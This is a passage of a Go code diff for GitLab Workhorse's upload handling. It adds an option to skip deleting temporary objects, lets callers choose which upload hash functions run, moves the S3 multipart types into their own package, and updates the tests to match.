var expectedDeletes, expectedPuts int
osStub, ts := test.StartObjectStore()
@@ -184,10 +187,16 @@ func TestUpload(t *testing.T) {
opts.LocalTempPath = tmpFolder
}
+ opts.SkipDelete = spec.skipDelete
+
+ if opts.SkipDelete {
+ expectedDeletes = 0
+ }
+
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
- fh, err := destination.Upload(ctx, strings.NewReader(test.ObjectContent), test.ObjectSize, "upload", &opts)
+ fh, err := Upload(ctx, strings.NewReader(test.ObjectContent), test.ObjectSize, "upload", &opts)
require.NoError(t, err)
require.NotNil(t, fh)
@@ -206,11 +215,7 @@ func TestUpload(t *testing.T) {
}
require.Equal(t, test.ObjectSize, fh.Size)
- if destination.FIPSEnabled() {
- require.Empty(t, fh.MD5())
- } else {
- require.Equal(t, test.ObjectMD5, fh.MD5())
- }
+ require.Equal(t, test.ObjectMD5, fh.MD5())
require.Equal(t, test.ObjectSHA256, fh.SHA256())
require.Equal(t, expectedPuts, osStub.PutsCnt(), "ObjectStore PutObject count mismatch")
@@ -255,7 +260,7 @@ func TestUploadWithS3WorkhorseClient(t *testing.T) {
name: "unknown object size with limit",
objectSize: -1,
maxSize: test.ObjectSize - 1,
- expectedErr: destination.ErrEntityTooLarge,
+ expectedErr: ErrEntityTooLarge,
},
}
@@ -269,12 +274,12 @@ func TestUploadWithS3WorkhorseClient(t *testing.T) {
defer cancel()
remoteObject := "tmp/test-file/1"
- opts := destination.UploadOpts{
+ opts := UploadOpts{
RemoteID: "test-file",
Deadline: testDeadline(),
UseWorkhorseClient: true,
RemoteTempObjectID: remoteObject,
- ObjectStorageConfig: destination.ObjectStorageConfig{
+ ObjectStorageConfig: ObjectStorageConfig{
Provider: "AWS",
S3Credentials: s3Creds,
S3Config: s3Config,
@@ -282,7 +287,7 @@ func TestUploadWithS3WorkhorseClient(t *testing.T) {
MaximumSize: tc.maxSize,
}
- _, err := destination.Upload(ctx, strings.NewReader(test.ObjectContent), tc.objectSize, "upload", &opts)
+ _, err := Upload(ctx, strings.NewReader(test.ObjectContent), tc.objectSize, "upload", &opts)
if tc.expectedErr == nil {
require.NoError(t, err)
@@ -302,19 +307,19 @@ func TestUploadWithAzureWorkhorseClient(t *testing.T) {
defer cancel()
remoteObject := "tmp/test-file/1"
- opts := destination.UploadOpts{
+ opts := UploadOpts{
RemoteID: "test-file",
Deadline: testDeadline(),
UseWorkhorseClient: true,
RemoteTempObjectID: remoteObject,
- ObjectStorageConfig: destination.ObjectStorageConfig{
+ ObjectStorageConfig: ObjectStorageConfig{
Provider: "AzureRM",
URLMux: mux,
GoCloudConfig: config.GoCloudConfig{URL: "azblob://test-container"},
},
}
- _, err := destination.Upload(ctx, strings.NewReader(test.ObjectContent), test.ObjectSize, "upload", &opts)
+ _, err := Upload(ctx, strings.NewReader(test.ObjectContent), test.ObjectSize, "upload", &opts)
require.NoError(t, err)
test.GoCloudObjectExists(t, bucketDir, remoteObject)
@@ -327,48 +332,65 @@ func TestUploadWithUnknownGoCloudScheme(t *testing.T) {
mux := new(blob.URLMux)
remoteObject := "tmp/test-file/1"
- opts := destination.UploadOpts{
+ opts := UploadOpts{
RemoteID: "test-file",
Deadline: testDeadline(),
UseWorkhorseClient: true,
RemoteTempObjectID: remoteObject,
- ObjectStorageConfig: destination.ObjectStorageConfig{
+ ObjectStorageConfig: ObjectStorageConfig{
Provider: "SomeCloud",
URLMux: mux,
GoCloudConfig: config.GoCloudConfig{URL: "foo://test-container"},
},
}
- _, err := destination.Upload(ctx, strings.NewReader(test.ObjectContent), test.ObjectSize, "upload", &opts)
+ _, err := Upload(ctx, strings.NewReader(test.ObjectContent), test.ObjectSize, "upload", &opts)
require.Error(t, err)
}
func TestUploadMultipartInBodyFailure(t *testing.T) {
- osStub, ts := test.StartObjectStore()
- defer ts.Close()
-
- // this is a broken path because it contains bucket name but no key
- // this is the only way to get an in-body failure from our ObjectStoreStub
- objectPath := "/bucket-but-no-object-key"
- objectURL := ts.URL + objectPath
- opts := destination.UploadOpts{
- RemoteID: "test-file",
- RemoteURL: objectURL,
- PartSize: test.ObjectSize,
- PresignedParts: []string{objectURL + "?partNumber=1", objectURL + "?partNumber=2"},
- PresignedCompleteMultipart: objectURL + "?Signature=CompleteSignature",
- Deadline: testDeadline(),
+ tests := []struct {
+ name string
+ skipDelete bool
+ }{
+ {name: "With skipDelete false", skipDelete: false},
+ {name: "With skipDelete true", skipDelete: true},
}
- osStub.InitiateMultipartUpload(objectPath)
+ for _, spec := range tests {
+ t.Run(spec.name, func(t *testing.T) {
+ osStub, ts := test.StartObjectStore()
+ defer ts.Close()
- ctx, cancel := context.WithCancel(context.Background())
- defer cancel()
+ // this is a broken path because it contains bucket name but no key
+ // this is the only way to get an in-body failure from our ObjectStoreStub
+ objectPath := "/bucket-but-no-object-key"
+ objectURL := ts.URL + objectPath
+ opts := UploadOpts{
+ RemoteID: "test-file",
+ RemoteURL: objectURL,
+ PartSize: test.ObjectSize,
+ PresignedParts: []string{objectURL + "?partNumber=1", objectURL + "?partNumber=2"},
+ PresignedCompleteMultipart: objectURL + "?Signature=CompleteSignature",
+ PresignedDelete: objectURL + "?Signature=AnotherSignature",
+ Deadline: testDeadline(),
+ SkipDelete: spec.skipDelete,
+ }
- fh, err := destination.Upload(ctx, strings.NewReader(test.ObjectContent), test.ObjectSize, "upload", &opts)
- require.Nil(t, fh)
- require.Error(t, err)
- require.EqualError(t, err, test.MultipartUploadInternalError().Error())
+ osStub.InitiateMultipartUpload(objectPath)
+
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ fh, err := Upload(ctx, strings.NewReader(test.ObjectContent), test.ObjectSize, "upload", &opts)
+ require.Nil(t, fh)
+ require.Error(t, err)
+ require.EqualError(t, err, test.MultipartUploadInternalError().Error())
+
+ cancel() // this will trigger an async cleanup
+ requireObjectStoreDeletedAsync(t, 1, osStub)
+ })
+ }
}
func TestUploadRemoteFileWithLimit(t *testing.T) {
@@ -405,20 +427,20 @@ func TestUploadRemoteFileWithLimit(t *testing.T) {
testData: test.ObjectContent,
objectSize: -1,
maxSize: test.ObjectSize - 1,
- expectedErr: destination.ErrEntityTooLarge,
+ expectedErr: ErrEntityTooLarge,
},
{
name: "large object with unknown size with limit",
testData: string(make([]byte, 20000)),
objectSize: -1,
maxSize: 19000,
- expectedErr: destination.ErrEntityTooLarge,
+ expectedErr: ErrEntityTooLarge,
},
}
for _, tc := range tests {
t.Run(tc.name, func(t *testing.T) {
- var opts destination.UploadOpts
+ var opts UploadOpts
for _, remoteType := range remoteTypes {
osStub, ts := test.StartObjectStore()
@@ -454,7 +476,7 @@ func TestUploadRemoteFileWithLimit(t *testing.T) {
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
- fh, err := destination.Upload(ctx, strings.NewReader(tc.testData), tc.objectSize, "upload", &opts)
+ fh, err := Upload(ctx, strings.NewReader(tc.testData), tc.objectSize, "upload", &opts)
if tc.expectedErr == nil {
require.NoError(t, err)
@@ -468,7 +490,7 @@ func TestUploadRemoteFileWithLimit(t *testing.T) {
}
}
-func checkFileHandlerWithFields(t *testing.T, fh *destination.FileHandler, fields map[string]string, prefix string) {
+func checkFileHandlerWithFields(t *testing.T, fh *FileHandler, fields map[string]string, prefix string) {
key := func(field string) string {
if prefix == "" {
return field
@@ -482,11 +504,7 @@ func checkFileHandlerWithFields(t *testing.T, fh *destination.FileHandler, field
require.Equal(t, fh.RemoteURL, fields[key("remote_url")])
require.Equal(t, fh.RemoteID, fields[key("remote_id")])
require.Equal(t, strconv.FormatInt(test.ObjectSize, 10), fields[key("size")])
- if destination.FIPSEnabled() {
- require.Empty(t, fields[key("md5")])
- } else {
- require.Equal(t, test.ObjectMD5, fields[key("md5")])
- }
+ require.Equal(t, test.ObjectMD5, fields[key("md5")])
require.Equal(t, test.ObjectSHA1, fields[key("sha1")])
require.Equal(t, test.ObjectSHA256, fields[key("sha256")])
require.Equal(t, test.ObjectSHA512, fields[key("sha512")])
diff --git a/workhorse/internal/upload/destination/filestore/filestore.go b/workhorse/internal/upload/destination/filestore/filestore.go
index 2d88874bf25..6b2d8270b51 100644
--- a/workhorse/internal/upload/destination/filestore/filestore.go
+++ b/workhorse/internal/upload/destination/filestore/filestore.go
@@ -19,3 +19,7 @@ func (lf *LocalFile) Consume(_ context.Context, r io.Reader, _ time.Time) (int64
}
return n, err
}
+
+func (lf *LocalFile) ConsumeWithoutDelete(outerCtx context.Context, reader io.Reader, deadLine time.Time) (_ int64, err error) {
+ return lf.Consume(outerCtx, reader, deadLine)
+}
diff --git a/workhorse/internal/upload/destination/multi_hash.go b/workhorse/internal/upload/destination/multi_hash.go
index 8d5bf4424a8..3f8b0cbd903 100644
--- a/workhorse/internal/upload/destination/multi_hash.go
+++ b/workhorse/internal/upload/destination/multi_hash.go
@@ -8,9 +8,6 @@ import (
"encoding/hex"
"hash"
"io"
- "os"
-
- "gitlab.com/gitlab-org/labkit/fips"
)
var hashFactories = map[string](func() hash.Hash){
@@ -20,39 +17,39 @@ var hashFactories = map[string](func() hash.Hash){
"sha512": sha512.New,
}
-var fipsHashFactories = map[string](func() hash.Hash){
- "sha1": sha1.New,
- "sha256": sha256.New,
- "sha512": sha512.New,
-}
-
func factories() map[string](func() hash.Hash) {
- if FIPSEnabled() {
- return fipsHashFactories
- }
-
return hashFactories
}
-func FIPSEnabled() bool {
- if fips.Enabled() {
+type multiHash struct {
+ io.Writer
+ hashes map[string]hash.Hash
+}
+
+func permittedHashFunction(hashFunctions []string, hash string) bool {
+ if len(hashFunctions) == 0 {
return true
}
- return os.Getenv("WORKHORSE_TEST_FIPS_ENABLED") == "1"
-}
+ for _, name := range hashFunctions {
+ if name == hash {
+ return true
+ }
+ }
-type multiHash struct {
- io.Writer
- hashes map[string]hash.Hash
+ return false
}
-func newMultiHash() (m *multiHash) {
+func newMultiHash(hashFunctions []string) (m *multiHash) {
m = &multiHash{}
m.hashes = make(map[string]hash.Hash)
var writers []io.Writer
for hash, hashFactory := range factories() {
+ if !permittedHashFunction(hashFunctions, hash) {
+ continue
+ }
+
writer := hashFactory()
m.hashes[hash] = writer
diff --git a/workhorse/internal/upload/destination/multi_hash_test.go b/workhorse/internal/upload/destination/multi_hash_test.go
new file mode 100644
index 00000000000..9a976f5d25d
--- /dev/null
+++ b/workhorse/internal/upload/destination/multi_hash_test.go
@@ -0,0 +1,52 @@
+package destination
+
+import (
+ "sort"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+func TestNewMultiHash(t *testing.T) {
+ tests := []struct {
+ name string
+ allowedHashes []string
+ expectedHashes []string
+ }{
+ {
+ name: "default",
+ allowedHashes: nil,
+ expectedHashes: []string{"md5", "sha1", "sha256", "sha512"},
+ },
+ {
+ name: "blank",
+ allowedHashes: []string{},
+ expectedHashes: []string{"md5", "sha1", "sha256", "sha512"},
+ },
+ {
+ name: "no MD5",
+ allowedHashes: []string{"sha1", "sha256", "sha512"},
+ expectedHashes: []string{"sha1", "sha256", "sha512"},
+ },
+
+ {
+ name: "unlisted hash",
+ allowedHashes: []string{"sha1", "sha256", "sha512", "sha3-256"},
+ expectedHashes: []string{"sha1", "sha256", "sha512"},
+ },
+ }
+
+ for _, test := range tests {
+ mh := newMultiHash(test.allowedHashes)
+
+ require.Equal(t, len(test.expectedHashes), len(mh.hashes))
+
+ var keys []string
+ for key := range mh.hashes {
+ keys = append(keys, key)
+ }
+
+ sort.Strings(keys)
+ require.Equal(t, test.expectedHashes, keys)
+ }
+}
diff --git a/workhorse/internal/upload/destination/objectstore/gocloud_object_test.go b/workhorse/internal/upload/destination/objectstore/gocloud_object_test.go
index 55d886087be..5a6a4b90b34 100644
--- a/workhorse/internal/upload/destination/objectstore/gocloud_object_test.go
+++ b/workhorse/internal/upload/destination/objectstore/gocloud_object_test.go
@@ -1,4 +1,4 @@
-package objectstore_test
+package objectstore
import (
"context"
@@ -10,7 +10,6 @@ import (
"github.com/stretchr/testify/require"
"gitlab.com/gitlab-org/gitlab/workhorse/internal/testhelper"
- "gitlab.com/gitlab-org/gitlab/workhorse/internal/upload/destination/objectstore"
"gitlab.com/gitlab-org/gitlab/workhorse/internal/upload/destination/objectstore/test"
)
@@ -22,8 +21,8 @@ func TestGoCloudObjectUpload(t *testing.T) {
objectName := "test.png"
testURL := "azuretest://azure.example.com/test-container"
- p := &objectstore.GoCloudObjectParams{Ctx: ctx, Mux: mux, BucketURL: testURL, ObjectName: objectName}
- object, err := objectstore.NewGoCloudObject(p)
+ p := &GoCloudObjectParams{Ctx: ctx, Mux: mux, BucketURL: testURL, ObjectName: objectName}
+ object, err := NewGoCloudObject(p)
require.NotNil(t, object)
require.NoError(t, err)
@@ -48,8 +47,8 @@ func TestGoCloudObjectUpload(t *testing.T) {
if exists {
return fmt.Errorf("file %s is still present", objectName)
- } else {
- return nil
}
+
+ return nil
})
}
diff --git a/workhorse/internal/upload/destination/objectstore/multipart.go b/workhorse/internal/upload/destination/objectstore/multipart.go
index df336d2d901..900ca040dad 100644
--- a/workhorse/internal/upload/destination/objectstore/multipart.go
+++ b/workhorse/internal/upload/destination/objectstore/multipart.go
@@ -11,6 +11,8 @@ import (
"os"
"gitlab.com/gitlab-org/labkit/mask"
+
+ "gitlab.com/gitlab-org/gitlab/workhorse/internal/upload/destination/objectstore/s3api"
)
// ErrNotEnoughParts will be used when writing more than size * len(partURLs)
@@ -51,7 +53,7 @@ func NewMultipart(partURLs []string, completeURL, abortURL, deleteURL string, pu
}
func (m *Multipart) Upload(ctx context.Context, r io.Reader) error {
- cmu := &CompleteMultipartUpload{}
+ cmu := &s3api.CompleteMultipartUpload{}
for i, partURL := range m.PartURLs {
src := io.LimitReader(r, m.partSize)
part, err := m.readAndUploadOnePart(ctx, partURL, m.PutHeaders, src, i+1)
@@ -91,7 +93,7 @@ func (m *Multipart) Delete() {
deleteURL(m.DeleteURL)
}
-func (m *Multipart) readAndUploadOnePart(ctx context.Context, partURL string, putHeaders map[string]string, src io.Reader, partNumber int) (*completeMultipartUploadPart, error) {
+func (m *Multipart) readAndUploadOnePart(ctx context.Context, partURL string, putHeaders map[string]string, src io.Reader, partNumber int) (*s3api.CompleteMultipartUploadPart, error) {
file, err := os.CreateTemp("", "part-buffer")
if err != nil {
return nil, fmt.Errorf("create temporary buffer file: %v", err)
@@ -118,7 +120,7 @@ func (m *Multipart) readAndUploadOnePart(ctx context.Context, partURL string, pu
if err != nil {
return nil, fmt.Errorf("upload part %d: %v", partNumber, err)
}
- return &completeMultipartUploadPart{PartNumber: partNumber, ETag: etag}, nil
+ return &s3api.CompleteMultipartUploadPart{PartNumber: partNumber, ETag: etag}, nil
}
func (m *Multipart) uploadPart(ctx context.Context, url string, headers map[string]string, body io.Reader, size int64) (string, error) {
@@ -142,7 +144,7 @@ func (m *Multipart) uploadPart(ctx context.Context, url string, headers map[stri
return part.ETag(), nil
}
-func (m *Multipart) complete(ctx context.Context, cmu *CompleteMultipartUpload) error {
+func (m *Multipart) complete(ctx context.Context, cmu *s3api.CompleteMultipartUpload) error {
body, err := xml.Marshal(cmu)
if err != nil {
return fmt.Errorf("marshal CompleteMultipartUpload request: %v", err)
diff --git a/workhorse/internal/upload/destination/objectstore/multipart_test.go b/workhorse/internal/upload/destination/objectstore/multipart_test.go
index 2a5161e42e7..00244a5c50b 100644
--- a/workhorse/internal/upload/destination/objectstore/multipart_test.go
+++ b/workhorse/internal/upload/destination/objectstore/multipart_test.go
@@ -1,4 +1,4 @@
-package objectstore_test
+package objectstore
import (
"context"
@@ -11,7 +11,6 @@ import (
"github.com/stretchr/testify/require"
- "gitlab.com/gitlab-org/gitlab/workhorse/internal/upload/destination/objectstore"
"gitlab.com/gitlab-org/gitlab/workhorse/internal/upload/destination/objectstore/test"
)
@@ -48,7 +47,7 @@ func TestMultipartUploadWithUpcaseETags(t *testing.T) {
deadline := time.Now().Add(testTimeout)
- m, err := objectstore.NewMultipart(
+ m, err := NewMultipart(
[]string{ts.URL}, // a single presigned part URL
ts.URL, // the complete multipart upload URL
"", // no abort
diff --git a/workhorse/internal/upload/destination/objectstore/object_test.go b/workhorse/internal/upload/destination/objectstore/object_test.go
index 24117891b6d..2b94cd9e3b1 100644
--- a/workhorse/internal/upload/destination/objectstore/object_test.go
+++ b/workhorse/internal/upload/destination/objectstore/object_test.go
@@ -1,4 +1,4 @@
-package objectstore_test
+package objectstore
import (
"context"
@@ -11,7 +11,6 @@ import (
"github.com/stretchr/testify/require"
- "gitlab.com/gitlab-org/gitlab/workhorse/internal/upload/destination/objectstore"
"gitlab.com/gitlab-org/gitlab/workhorse/internal/upload/destination/objectstore/test"
)
@@ -35,7 +34,7 @@ func testObjectUploadNoErrors(t *testing.T, startObjectStore osFactory, useDelet
defer cancel()
deadline := time.Now().Add(testTimeout)
- object, err := objectstore.NewObject(objectURL, deleteURL, putHeaders, test.ObjectSize)
+ object, err := NewObject(objectURL, deleteURL, putHeaders, test.ObjectSize)
require.NoError(t, err)
// copy data
@@ -97,12 +96,12 @@ func TestObjectUpload404(t *testing.T) {
deadline := time.Now().Add(testTimeout)
objectURL := ts.URL + test.ObjectPath
- object, err := objectstore.NewObject(objectURL, "", map[string]string{}, test.ObjectSize)
+ object, err := NewObject(objectURL, "", map[string]string{}, test.ObjectSize)
require.NoError(t, err)
_, err = object.Consume(ctx, strings.NewReader(test.ObjectContent), deadline)
require.Error(t, err)
- _, isStatusCodeError := err.(objectstore.StatusCodeError)
+ _, isStatusCodeError := err.(StatusCodeError)
require.True(t, isStatusCodeError, "Should fail with StatusCodeError")
require.Contains(t, err.Error(), "404")
}
@@ -140,7 +139,7 @@ func TestObjectUploadBrokenConnection(t *testing.T) {
deadline := time.Now().Add(testTimeout)
objectURL := ts.URL + test.ObjectPath
- object, err := objectstore.NewObject(objectURL, "", map[string]string{}, -1)
+ object, err := NewObject(objectURL, "", map[string]string{}, -1)
require.NoError(t, err)
_, copyErr := object.Consume(ctx, &endlessReader{}, deadline)
diff --git a/workhorse/internal/upload/destination/objectstore/s3_complete_multipart_api.go b/workhorse/internal/upload/destination/objectstore/s3_complete_multipart_api.go
index b84f5757f49..02799d0b9b0 100644
--- a/workhorse/internal/upload/destination/objectstore/s3_complete_multipart_api.go
+++ b/workhorse/internal/upload/destination/objectstore/s3_complete_multipart_api.go
@@ -2,45 +2,15 @@ package objectstore
import (
"encoding/xml"
- "fmt"
-)
-
-// CompleteMultipartUpload is the S3 CompleteMultipartUpload body
-type CompleteMultipartUpload struct {
- Part []*completeMultipartUploadPart
-}
-type completeMultipartUploadPart struct {
- PartNumber int
- ETag string
-}
-
-// CompleteMultipartUploadResult is the S3 answer to CompleteMultipartUpload request
-type CompleteMultipartUploadResult struct {
- Location string
- Bucket string
- Key string
- ETag string
-}
-
-// CompleteMultipartUploadError is the in-body error structure
-// https://docs.aws.amazon.com/AmazonS3/latest/API/mpUploadComplete.html#mpUploadComplete-examples
-// the answer contains other fields we are not using
-type CompleteMultipartUploadError struct {
- XMLName xml.Name `xml:"Error"`
- Code string
- Message string
-}
-
-func (c *CompleteMultipartUploadError) Error() string {
- return fmt.Sprintf("CompleteMultipartUpload remote error %q: %s", c.Code, c.Message)
-}
+ "gitlab.com/gitlab-org/gitlab/workhorse/internal/upload/destination/objectstore/s3api"
+)
// compoundCompleteMultipartUploadResult holds both CompleteMultipartUploadResult and CompleteMultipartUploadError
// this allow us to deserialize the response body where the root element can either be Error orCompleteMultipartUploadResult
type compoundCompleteMultipartUploadResult struct {
- *CompleteMultipartUploadResult
- *CompleteMultipartUploadError
+ *s3api.CompleteMultipartUploadResult
+ *s3api.CompleteMultipartUploadError
// XMLName this overrides CompleteMultipartUploadError.XMLName tags
XMLName xml.Name
diff --git a/workhorse/internal/upload/destination/objectstore/s3_object_test.go b/workhorse/internal/upload/destination/objectstore/s3_object_test.go
index 0ed14a2e844..c99712d18ad 100644
--- a/workhorse/internal/upload/destination/objectstore/s3_object_test.go
+++ b/workhorse/internal/upload/destination/objectstore/s3_object_test.go
@@ -1,4 +1,4 @@
-package objectstore_test
+package objectstore
import (
"context"
@@ -17,7 +17,6 @@ import (
"gitlab.com/gitlab-org/gitlab/workhorse/internal/config"
"gitlab.com/gitlab-org/gitlab/workhorse/internal/testhelper"
- "gitlab.com/gitlab-org/gitlab/workhorse/internal/upload/destination/objectstore"
"gitlab.com/gitlab-org/gitlab/workhorse/internal/upload/destination/objectstore/test"
)
@@ -50,7 +49,7 @@ func TestS3ObjectUpload(t *testing.T) {
objectName := filepath.Join(tmpDir, "s3-test-data")
ctx, cancel := context.WithCancel(context.Background())
- object, err := objectstore.NewS3Object(objectName, creds, config)
+ object, err := NewS3Object(objectName, creds, config)
require.NoError(t, err)
// copy data
@@ -107,7 +106,7 @@ func TestConcurrentS3ObjectUpload(t *testing.T) {
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
- object, err := objectstore.NewS3Object(objectName, creds, config)
+ object, err := NewS3Object(objectName, creds, config)
require.NoError(t, err)
// copy data
@@ -134,7 +133,7 @@ func TestS3ObjectUploadCancel(t *testing.T) {
objectName := filepath.Join(tmpDir, "s3-test-data")
- object, err := objectstore.NewS3Object(objectName, creds, config)
+ object, err := NewS3Object(objectName, creds, config)
require.NoError(t, err)
@@ -155,7 +154,7 @@ func TestS3ObjectUploadLimitReached(t *testing.T) {
tmpDir := t.TempDir()
objectName := filepath.Join(tmpDir, "s3-test-data")
- object, err := objectstore.NewS3Object(objectName, creds, config)
+ object, err := NewS3Object(objectName, creds, config)
require.NoError(t, err)
_, err = object.Consume(context.Background(), &failedReader{}, deadline)
diff --git a/workhorse/internal/upload/destination/objectstore/s3api/s3api.go b/workhorse/internal/upload/destination/objectstore/s3api/s3api.go
new file mode 100644
index 00000000000..49ab9347911
--- /dev/null
+++ b/workhorse/internal/upload/destination/objectstore/s3api/s3api.go
@@ -0,0 +1,37 @@
+package s3api
+
+import (
+ "encoding/xml"
+ "fmt"
+)
+
+// CompleteMultipartUploadError is the in-body error structure
+// https://docs.aws.amazon.com/AmazonS3/latest/API/mpUploadComplete.html#mpUploadComplete-examples
+// the answer contains other fields we are not using
+type CompleteMultipartUploadError struct {
+ XMLName xml.Name `xml:"Error"`
+ Code string
+ Message string
+}
+
+func (c *CompleteMultipartUploadError) Error() string {
+ return fmt.Sprintf("CompleteMultipartUpload remote error %q: %s", c.Code, c.Message)
+}
+
+// CompleteMultipartUploadResult is the S3 answer to CompleteMultipartUpload request
+type CompleteMultipartUploadResult struct {
+ Location string
+ Bucket string
+ Key string
+ ETag string
+}
+
+// CompleteMultipartUpload is the S3 CompleteMultipartUpload body
+type CompleteMultipartUpload struct {
+ Part []*CompleteMultipartUploadPart
+}
+
+type CompleteMultipartUploadPart struct {
+ PartNumber int
+ ETag string
+}
diff --git a/workhorse/internal/upload/destination/objectstore/test/objectstore_stub.go b/workhorse/internal/upload/destination/objectstore/test/objectstore_stub.go
index 1a380bd5083..8fbb746d6ce 100644
--- a/workhorse/internal/upload/destination/objectstore/test/objectstore_stub.go
+++ b/workhorse/internal/upload/destination/objectstore/test/objectstore_stub.go
@@ -12,7 +12,7 @@ import (
"strings"
"sync"
- "gitlab.com/gitlab-org/gitlab/workhorse/internal/upload/destination/objectstore"
+ "gitlab.com/gitlab-org/gitlab/workhorse/internal/upload/destination/objectstore/s3api"
)
type partsEtagMap map[int]string
@@ -190,8 +190,8 @@ func (o *ObjectstoreStub) putObject(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(200)
}
-func MultipartUploadInternalError() *objectstore.CompleteMultipartUploadError {
- return &objectstore.CompleteMultipartUploadError{Code: "InternalError", Message: "malformed object path"}
+func MultipartUploadInternalError() *s3api.CompleteMultipartUploadError {
+ return &s3api.CompleteMultipartUploadError{Code: "InternalError", Message: "malformed object path"}
}
func (o *ObjectstoreStub) completeMultipartUpload(w http.ResponseWriter, r *http.Request) {
@@ -212,7 +212,7 @@ func (o *ObjectstoreStub) completeMultipartUpload(w http.ResponseWriter, r *http
return
}
- var msg objectstore.CompleteMultipartUpload
+ var msg s3api.CompleteMultipartUpload
err = xml.Unmarshal(buf, &msg)
if err != nil {
http.Error(w, err.Error(), 400)
@@ -245,7 +245,7 @@ func (o *ObjectstoreStub) completeMultipartUpload(w http.ResponseWriter, r *http
bucket := split[0]
key := split[1]
- answer := objectstore.CompleteMultipartUploadResult{
+ answer := s3api.CompleteMultipartUploadResult{
Location: r.URL.String(),
Bucket: bucket,
Key: key,
diff --git a/workhorse/internal/upload/destination/objectstore/uploader.go b/workhorse/internal/upload/destination/objectstore/uploader.go
index 43e573872ee..798a693aa93 100644
--- a/workhorse/internal/upload/destination/objectstore/uploader.go
+++ b/workhorse/internal/upload/destination/objectstore/uploader.go
@@ -38,11 +38,21 @@ func newETagCheckUploader(strategy uploadStrategy, metrics bool) *uploader {
func hexString(h hash.Hash) string { return hex.EncodeToString(h.Sum(nil)) }
+func (u *uploader) Consume(outerCtx context.Context, reader io.Reader, deadLine time.Time) (_ int64, err error) {
+ return u.consume(outerCtx, reader, deadLine, false)
+}
+
+func (u *uploader) ConsumeWithoutDelete(outerCtx context.Context, reader io.Reader, deadLine time.Time) (_ int64, err error) {
+ return u.consume(outerCtx, reader, deadLine, true)
+}
+
// Consume reads the reader until it reaches EOF or an error. It spawns a
// goroutine that waits for outerCtx to be done, after which the remote
// file is deleted. The deadline applies to the upload performed inside
// Consume, not to outerCtx.
-func (u *uploader) Consume(outerCtx context.Context, reader io.Reader, deadline time.Time) (_ int64, err error) {
+// SkipDelete optionaly call the Delete() function on the strategy once
+// rails is done handling the upload request.
+func (u *uploader) consume(outerCtx context.Context, reader io.Reader, deadLine time.Time, skipDelete bool) (_ int64, err error) {
if u.metrics {
objectStorageUploadsOpen.Inc()
defer func(started time.Time) {
@@ -59,17 +69,25 @@ func (u *uploader) Consume(outerCtx context.Context, reader io.Reader, deadline
// "delete" them.
if err != nil {
u.strategy.Abort()
+
+ if skipDelete {
+ // skipDelete avoided the object removal (see the goroutine below). Make
+ // here that the object is deleted if aborted.
+ u.strategy.Delete()
+ }
}
}()
- go func() {
- // Once gitlab-rails is done handling the request, we are supposed to
- // delete the upload from its temporary location.
- <-outerCtx.Done()
- u.strategy.Delete()
- }()
+ if !skipDelete {
+ go func() {
+ // Once gitlab-rails is done handling the request, we are supposed to
+ // delete the upload from its temporary location.
+ <-outerCtx.Done()
+ u.strategy.Delete()
+ }()
+ }
- uploadCtx, cancelFn := context.WithDeadline(outerCtx, deadline)
+ uploadCtx, cancelFn := context.WithDeadline(outerCtx, deadLine)
defer cancelFn()
var hasher hash.Hash
diff --git a/workhorse/internal/upload/destination/upload_opts.go b/workhorse/internal/upload/destination/upload_opts.go
index 58427b38b30..72efaebc16c 100644
--- a/workhorse/internal/upload/destination/upload_opts.go
+++ b/workhorse/internal/upload/destination/upload_opts.go
@@ -39,6 +39,8 @@ type UploadOpts struct {
PresignedPut string
// PresignedDelete is a presigned S3 DeleteObject compatible URL.
PresignedDelete string
+ // Whether Workhorse needs to delete the temporary object or not.
+ SkipDelete bool
// HTTP headers to be sent along with PUT request
PutHeaders map[string]string
// Whether to ignore Rails pre-signed URLs and have Workhorse directly access object storage provider
@@ -61,6 +63,8 @@ type UploadOpts struct {
PresignedCompleteMultipart string
// PresignedAbortMultipart is a presigned URL for AbortMultipartUpload
PresignedAbortMultipart string
+ // UploadHashFunctions contains a list of allowed hash functions (md5, sha1, etc.)
+ UploadHashFunctions []string
}
// UseWorkhorseClientEnabled checks if the options require direct access to object storage
@@ -90,16 +94,18 @@ func GetOpts(apiResponse *api.Response) (*UploadOpts, error) {
}
opts := UploadOpts{
- LocalTempPath: apiResponse.TempPath,
- RemoteID: apiResponse.RemoteObject.ID,
- RemoteURL: apiResponse.RemoteObject.GetURL,
- PresignedPut: apiResponse.RemoteObject.StoreURL,
- PresignedDelete: apiResponse.RemoteObject.DeleteURL,
- PutHeaders: apiResponse.RemoteObject.PutHeaders,
- UseWorkhorseClient: apiResponse.RemoteObject.UseWorkhorseClient,
- RemoteTempObjectID: apiResponse.RemoteObject.RemoteTempObjectID,
- Deadline: time.Now().Add(timeout),
- MaximumSize: apiResponse.MaximumSize,
+ LocalTempPath: apiResponse.TempPath,
+ RemoteID: apiResponse.RemoteObject.ID,
+ RemoteURL: apiResponse.RemoteObject.GetURL,
+ PresignedPut: apiResponse.RemoteObject.StoreURL,
+ PresignedDelete: apiResponse.RemoteObject.DeleteURL,
+ SkipDelete: apiResponse.RemoteObject.SkipDelete,
+ PutHeaders: apiResponse.RemoteObject.PutHeaders,
+ UseWorkhorseClient: apiResponse.RemoteObject.UseWorkhorseClient,
+ RemoteTempObjectID: apiResponse.RemoteObject.RemoteTempObjectID,
+ Deadline: time.Now().Add(timeout),
+ MaximumSize: apiResponse.MaximumSize,
+ UploadHashFunctions: apiResponse.UploadHashFunctions,
}
if opts.LocalTempPath != "" && opts.RemoteID != "" {
diff --git a/workhorse/internal/upload/destination/upload_opts_test.go b/workhorse/internal/upload/destination/upload_opts_test.go
index fd9e56db194..0fda3bd2381 100644
--- a/workhorse/internal/upload/destination/upload_opts_test.go
+++ b/workhorse/internal/upload/destination/upload_opts_test.go
@@ -1,4 +1,4 @@
-package destination_test
+package destination
import (
"testing"
@@ -8,7 +8,6 @@ import (
"gitlab.com/gitlab-org/gitlab/workhorse/internal/api"
"gitlab.com/gitlab-org/gitlab/workhorse/internal/config"
- "gitlab.com/gitlab-org/gitlab/workhorse/internal/upload/destination"
"gitlab.com/gitlab-org/gitlab/workhorse/internal/upload/destination/objectstore/test"
)
@@ -43,7 +42,7 @@ func TestUploadOptsLocalAndRemote(t *testing.T) {
for _, test := range tests {
